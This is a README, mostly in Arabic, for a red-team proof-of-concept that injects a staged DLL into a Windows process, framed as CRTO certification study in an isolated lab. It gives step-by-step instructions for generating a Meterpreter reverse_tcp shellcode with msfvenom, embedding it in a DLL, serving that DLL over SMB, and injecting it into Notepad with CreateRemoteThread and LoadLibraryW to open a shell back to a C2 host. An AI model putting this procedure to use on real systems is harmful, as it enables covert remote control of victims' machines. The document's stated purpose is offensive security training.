
إثبات مفهوم لحقن DLL متدرج مبني بلغة C باستخدام واجهات برمجة تطبيقات Win32 — طُوّر في بيئة مختبرية معزولة لدراسة شهادة ريد تيم (CRTO).
برهان مفهوم لحقن DLL على مراحل مكتوب بلغة C باستخدام Win32 APIs — طُوّر في بيئة مختبرية معزولة لدراسة شهادات فرق الاختراق الأحمر (CRTO).
⚠️ إخلاء مسؤولية: تم تطوير هذا المشروع حصريًا في بيئة مختبرية معزولة لأغراض تعليمية كجزء من أبحاث أمن الهجوم ودراسة الشهادات (CRTO). وهو غير مخصص للاستخدام ضد أي أنظمة دون إذن كتابي صريح. الاستخدام غير المصرح به غير قانوني وغير أخلاقي.
برهان مفهوم لتطبيق حقن DLL على مراحل في نظام Windows، طُوّر كجزء من دراسات شهادات فرق الاختراق الأحمر. يعرض هذا المشروع كيفية قيام المرحلة الأولى (stager) بتحميل DLL خبيث عن بُعد داخل عملية هدف باستخدام Win32 APIs الأصلية. يعمل بشكل أفضل في بيئة Active Directory تسمح بحركة مرور SMB داخل الشبكة الداخلية، ولا يُنصح بالعمل عبر الإنترنت
1. Build a shellcode with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<port> -f raw -o /directory/payload.bin
2. Obtain the raw shellcode and convert into a C array
xxd -i payload.bin > payload.h
3. Copy the shellcode, and paste it under unsigned char payload_bin[] {xxxxx} array in maindll.c
4. Modify the phc.c to point the address to your IP in dllPath[]
5. Compile phc.c into .exe, and compile maindll.c into .dll file
6. Host the smb server, and paste the maindll.dll
7. Set up Listener
8. Open Notepad.exe and find the PID
9. Run phc.exe <PID>
phc.c)OpenProcessVirtualAllocLoadLibraryW من Kernel32CreateRemoteThread يستدعي LoadLibraryW، مما يحمّل الـ DLL من مشاركة SMB بعيدةmaindll.dll)DllMain يعمل تلقائيًا عند DLL_PROCESS_ATTACHVirtualAllocCreateThreadphc.exe → فتح العملية الهدف → تخصيص ذاكرة في العملية الهدف → تحميل maindll.dll من مشاركة SMB عبر LoadLibraryW → تشغيل DllMain → تنفيذ الـ shellcode داخل العملية الهدف
CreateRemoteThread + LoadLibraryWDllMainتم اختباره على Windows 10 في بيئة مختبرية معزولة. خادم C2 مستضاف على Kali Linux.